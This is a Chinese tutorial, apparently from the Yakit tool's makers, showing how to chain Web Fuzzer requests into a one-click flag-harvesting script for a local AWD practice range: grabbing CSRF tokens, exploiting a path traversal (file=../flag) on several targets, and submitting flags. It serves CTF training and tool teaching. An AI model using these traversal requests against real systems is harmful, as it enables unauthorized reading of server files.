前言
新发布的Web Fuzzer 序列 (Web Fuzzer Sequence),使用 Fuzzer 序列可以轻松构建一整个测试工作流。现在我们将综合利用 Yakit 现有的功能串联起 CSRF token 获取,flag 获取到提交 flag 这几个工作,最终快速构建起一个一键收割 flag 的 AWD 脚本。
在开始之前,先介绍一下测试环境。这是一个AWD靶场,平台在 127.0.0.1:8080,上面有目前三台靶机分别在127.0.0.1:8001 - 127.0.0.1:8083。他们都有一个目录穿越,但是有csrf token保护。
这篇文章将使用 Yakit 的能力快速构建一个攻击脚本。
Fuzzer Tag 请求多个靶机
这里先整理好所有的靶机地址,并使用fuzztag按照行读取到host变量,host变量会被继承到后面的所有请求,因此只需要设置一次这个变量。
现在我们使用这个变量,向所有靶机同时发送请求,获取csrf token。
GET / HTTP/1.1
Content-Type: application/json
Host: {{p(host)}}
提取 CSRF Token
<form action="/" method="post">
<input name="file">
<input hidden name="csrf" value="26e65b25-0bee-49d1-a8c2-13678a9e58f8">
<button type="submit">Submit</button>
</form>
可以使用正则表达式数据提取器从 form 中提取 csrf token。
这里添加一个正则类型的数据提取器,我们要的csrf token明显是一个uuid,这里写一个uuid的正则来来提取这一块内容。
提取结果:
获取 Flag 并提交
为了把csrf token传递到下一个请求中,先新建一个名为flag的请求,再在 fuzzer 序列的面板中设置变量向下传递。
此时,就可以在名为flag的请求中使用csrf这个变量了,现在我们构建请求:
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: {{p(host)}}
csrf={{p(csrf)}}&file=../flag
在这个请求中,使用fuzzer tag嵌入从上面获取的CSRF变量,打一个简单的目录穿越获取flag:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain; charset=utf-8
Last-Modified: Thu, 07 Sep 2023 06:38:32 GMT
Date: Thu, 07 Sep 2023 07:57:13 GMT
Content-Length: 42
flag{c369b72b-c776-4771-8d7c-a56bc7bb1e07}
body就是flag的内容,不过严谨起见,可以写一个flag的正则来提取flag。
下面构建第三个包,提交flag
大多数 AWD 平台都会提供使用 curl 提交 flag 的命令,可以使用yakit的curl转数据包功能快速构建出提交flag的数据包。
POST /pushflag HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost:8080
Content-Length: 18
flag=flag{example}
略作修改,使用变量替换示例flag:
POST /pushflag HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost:8080
flag={{p(flag)}}
顺利提交flag:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 07 Sep 2023 08:03:21 GMT
Content-Length: 7
success
有什么优势吗?
全程使用 GUI 操作,多数简单的测试,不用写一行代码
可以配合 MITM 抓包使用,复杂包体不用自己构造,直接从 MITM 导入并修改变动部分即可
支持使用 FuzzTag 嵌套的方式进行编解码,也可以使用热加载 Yaklang 进行任意复杂操作
为了方便师傅们使用,文章演示环境已上传Github,有需要的师傅们请获取链接自行下载~
https://github.com/BaiMeow/TryYakitFuzzerSeri
END
Yak官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ